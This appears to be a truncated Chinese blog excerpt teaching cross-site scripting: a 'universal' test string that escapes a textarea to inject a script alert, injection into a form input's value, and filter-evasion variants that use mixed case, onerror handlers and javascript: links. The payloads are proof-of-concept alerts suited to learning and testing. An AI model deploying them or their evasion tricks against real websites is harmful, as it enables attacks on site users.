mdp1234的博客

例1、简单XSS攻击留言类，简单注入javascript万能测试XSS漏洞代码："/></textarea><script>alert(1)</script>有个表单域：<input type=“text” name=“content” value=“这里是用户填写的数据”>1、假若用户填写数据为：<script>alert('foolish!')</script>（或者<script type=..

※XSS的变形1. 大小写转换 可以将payload 进行大小写转化。如:<Img sRc='#' Onerror="alert(/xss/)" /><a hREf="javaScript:alert(/xss/)">click me</a>2. 引号的使用---HTML 语言中对引号的使用不敏感.如“<img src='#' οnerrοr='alert(/xss/)'/><img src=# οnerrοr=alert(/x..